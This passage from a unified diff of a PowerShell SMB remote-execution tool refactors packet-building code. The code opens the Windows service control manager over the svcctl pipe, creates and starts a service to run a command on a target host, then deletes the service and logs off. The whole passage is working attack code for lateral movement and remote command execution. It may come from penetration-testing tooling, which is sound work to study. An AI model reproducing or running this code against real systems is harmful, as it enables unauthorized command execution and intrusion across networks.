'CreateServiceW_Middle' } } @@ -1536,26 +1691,26 @@ if($SMB_client.Connected) 'CreateServiceW_Middle' { $SMB_split_stage++ - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1563,46 +1718,46 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_split_stage -ge $SMB_split_stage_final) { - $SMB_client_stage = 'CreateServiceW_Last' + $stage = 'CreateServiceW_Last' } else { - $SMB_client_stage = 'CreateServiceW_Middle' + $stage = 'CreateServiceW_Middle' } } 'CreateServiceW_Last' { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1610,108 +1765,49 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'StartServiceW' } - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') - { - Write-Verbose "Service $SMB_service created on $Target" - $SMB_service_context_handle = $SMB_client_receive[92..111] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence - } - - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - Write-Verbose "Trying to execute command on $Target" - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') - { - Write-Output "Service $SMB_service creation failed on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Service creation fault context mismatch" - $SMBExec_failed = $true - } - - } - 'DeleteServiceW' { - if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + if([System.BitConverter]::ToString($client_receive[88..91]) -eq '1d-04-00-00') { - Write-Output "Command executed with service $SMB_service on $Target" + Write-Output "[+] Command executed with service $SMB_service on $Target" } - elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + elseif([System.BitConverter]::ToString($client_receive[88..91]) -eq '02-00-00-00') { - Write-Output "Service $SMB_service failed to start on $Target" + Write-Output "[-] Service $SMB_service failed to start on $Target" } - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1719,118 +1815,111 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CloseServiceHandle' + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'CloseServiceHandle' $SMB_close_service_handle_stage = 1 } - 'CloseServiceHandle' + 'Logoff' { - if($SMB_close_service_handle_stage -eq 1) - { - Write-Verbose "Service $SMB_service deleted on $Target" - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle - } - else - { - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $packet_SMB_data = New-PacketSMBLogoffAndXRequest $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' } - 'CloseRequest' + 'OpenSCManagerW' { - $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'TreeDisconnect' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'CheckAccess' } - 'TreeDisconnect' + 'ReadAndXRequest' { - $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + Start-Sleep -m $Sleep + $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest + $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1838,342 +1927,396 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Logoff' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = $stage_next } - 'Logoff' + 'RPCBind' { - $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID_bytes $SMB_user_ID + $SMB_FID = $client_receive[42,43] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBLogoffAndXRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'OpenSCManagerW' } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($client_receive[112..115]) -eq '00-00-00-00') + { + Write-Verbose "Service $SMB_service created on $Target" + $SMB_service_context_handle = $client_receive[92..111] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID - } - - if($SMBExec_failed) - { - BREAK SMB_execute_loop - } - - } - - } - else - { - - $SMB_client_stage = 'TreeConnect' + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - switch ($SMB_client_stage) - { - - 'TreeConnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } - if($SMB_signing) + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + Write-Verbose "[*] Trying to execute command on $Target" + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($client_receive[112..115]) -eq '31-04-00-00') { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + Write-Output "[-] Service $SMB_service creation failed on $Target" + $stage = 'Exit' } - - $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + else { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + Write-Output "[-] Service creation fault context mismatch" + $stage = 'Exit' } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'CreateRequest' + } - - 'CreateRequest' + + 'TreeConnectAndXRequest' { - $SMB2_tree_ID = 0x01,0x00,0x00,0x00 - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - + $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID + if($SMB_signing) { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes - $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] 